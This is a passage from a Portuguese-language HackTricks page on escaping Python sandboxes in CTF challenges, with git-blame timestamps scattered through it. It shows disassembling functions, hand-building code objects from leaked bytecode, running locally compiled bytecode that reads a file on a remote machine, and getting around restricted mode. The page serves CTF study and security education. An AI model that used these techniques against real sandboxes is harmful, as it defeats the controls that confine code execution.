2021-10-06 13:23:46 +00:00
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
2023-06-06 18:56:34 +00:00
### **Desmontando uma função**
Para contornar as restrições de uma sandbox Python, pode ser necessário desmontar uma função para entender como ela funciona e, em seguida, modificar seu comportamento para atender às suas necessidades. Para fazer isso, você pode usar a biblioteca `dis` do Python, que permite desmontar funções em sua representação de bytecode.
O bytecode é uma representação intermediária do código Python que é executada pela máquina virtual Python (PVM). Ao desmontar uma função, você pode ver o bytecode subjacente e entender como a função é executada. Você também pode modificar o bytecode para alterar o comportamento da função.
2023-06-06 18:56:34 +00:00
Para desmontar uma função, você pode usar o seguinte código:
2023-06-06 18:56:34 +00:00
```python
import dis
def my_function():
# function code here
dis.dis(my_function)
```
Isso imprimirá o bytecode da função `my_function` no console. Você pode então analisar o bytecode para entender como a função funciona e modificar o código para atender às suas necessidades.
```python
import dis
dis.dis(get_flag)
2 0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (var1)
3 6 LOAD_CONST 2 ('secretcode')
9 STORE_FAST 2 (var2)
4 12 LOAD_CONST 3 ('some')
15 LOAD_CONST 4 ('array')
18 BUILD_LIST 2
21 STORE_FAST 3 (var3)
5 24 LOAD_FAST 0 (some_input)
27 LOAD_FAST 2 (var2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
2022-09-12 21:12:49 +00:00
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE
8 >> 40 LOAD_CONST 6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
2023-06-06 18:56:34 +00:00
Observe que **se você não puder importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode adivinhá-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também informa o deslocamento da variável sendo carregada.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 4 (4)
18 BUILD_LIST 2
21 STORE_FAST 3 (3)
24 LOAD_FAST 0 (0)
27 LOAD_FAST 2 (2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 5 (5)
39 RETURN_VALUE
>> 40 LOAD_CONST 6 (6)
43 RETURN_VALUE
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
2023-06-06 18:56:34 +00:00
## Compilando Python
2023-06-06 18:56:34 +00:00
Agora, vamos imaginar que de alguma forma você possa **extrair informações sobre uma função que você não pode executar**, mas que você **precisa** executar.\
Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_).
2021-10-06 14:43:31 +00:00
```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
2023-06-06 18:56:34 +00:00
### Criando o objeto de código
2021-10-06 14:43:31 +00:00
2023-06-06 18:56:34 +00:00
Antes de tudo, precisamos saber **como criar e executar um objeto de código** para que possamos criar um para executar nossa função vazada:
2021-10-06 14:43:31 +00:00
```python
code_type = type((lambda: None).__code__)
2022-04-27 12:34:57 +00:00
# Check the following hint if you get an error in calling this
2021-10-06 14:43:31 +00:00
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
# Execution
eval(code_obj) #Execute as a whole script
2022-05-01 12:41:36 +00:00
# If you have the code of a function, execute it
2021-10-06 14:43:31 +00:00
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
2022-04-27 12:34:57 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Dependendo da versão do Python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do Python que você está executando é executar:
2022-04-27 12:34:57 +00:00
```
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
```
{% endhint %}
2023-06-06 18:56:34 +00:00
### Recreando uma função vazada
2021-10-06 14:43:31 +00:00
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
No exemplo a seguir, vamos pegar todos os dados necessários para recriar a função diretamente do objeto de código da função. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** é o que **você precisará vazar**.
2021-10-06 14:43:31 +00:00
{% endhint %}
```python
fc = get_flag.__code__
2021-10-06 15:45:31 +00:00
# In a real situation the values like fc.co_argcount are the ones you need to leak
2021-10-06 14:43:31 +00:00
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
2021-10-06 15:45:31 +00:00
2021-10-06 14:43:31 +00:00
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
2023-06-06 18:56:34 +00:00
### Bypassar Defesas
2021-10-06 14:43:31 +00:00
2023-06-06 18:56:34 +00:00
Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código Python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **única linha** (e poderíamos fazer o mesmo usando **`exec`**).\
De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **máquina CTF** (por exemplo, porque não temos a função `compiled` no CTF).
2021-10-06 14:43:31 +00:00
2023-06-06 18:56:34 +00:00
Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_:
2021-10-06 14:43:31 +00:00
```python
#Locally
def read():
return open("./poc.py",'r').read()
read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
```
```python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')
# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
2023-06-06 18:56:34 +00:00
Se você não consegue acessar `eval` ou `exec`, você pode criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função**.
2021-10-06 14:43:31 +00:00
```python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
2023-06-06 18:56:34 +00:00
## Decompilando Python Compilado
2021-10-06 14:43:31 +00:00
2023-06-06 18:56:34 +00:00
Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler.com), é possível **decompilar** código python compilado.
2021-12-24 01:52:37 +00:00
2023-06-06 18:56:34 +00:00
**Confira este tutorial**:
2021-12-24 01:52:37 +00:00
2022-05-01 16:04:05 +00:00
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
2021-12-24 01:52:37 +00:00
{% endcontent-ref %}
2022-07-02 18:05:33 +00:00
## Misc Python
2021-12-24 01:52:37 +00:00
2022-07-02 18:05:33 +00:00
### Assert
2021-12-24 01:52:37 +00:00
2023-06-06 18:56:34 +00:00
O Python executado com otimizações com o parâmetro `-O` removerá declarações de assert e qualquer código condicional no valor de **debug**.\
Portanto, verificações como
2021-12-24 01:52:37 +00:00
```python
def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
2023-06-06 18:56:34 +00:00
## Referências
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
2021-11-23 09:46:40 +00:00
* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python\_sandbox\_escape)
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
2021-12-24 01:52:37 +00:00
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
2022-09-30 10:43:59 +00:00
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
2022-08-31 22:35:39 +00:00
\
2023-06-06 18:56:34 +00:00
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}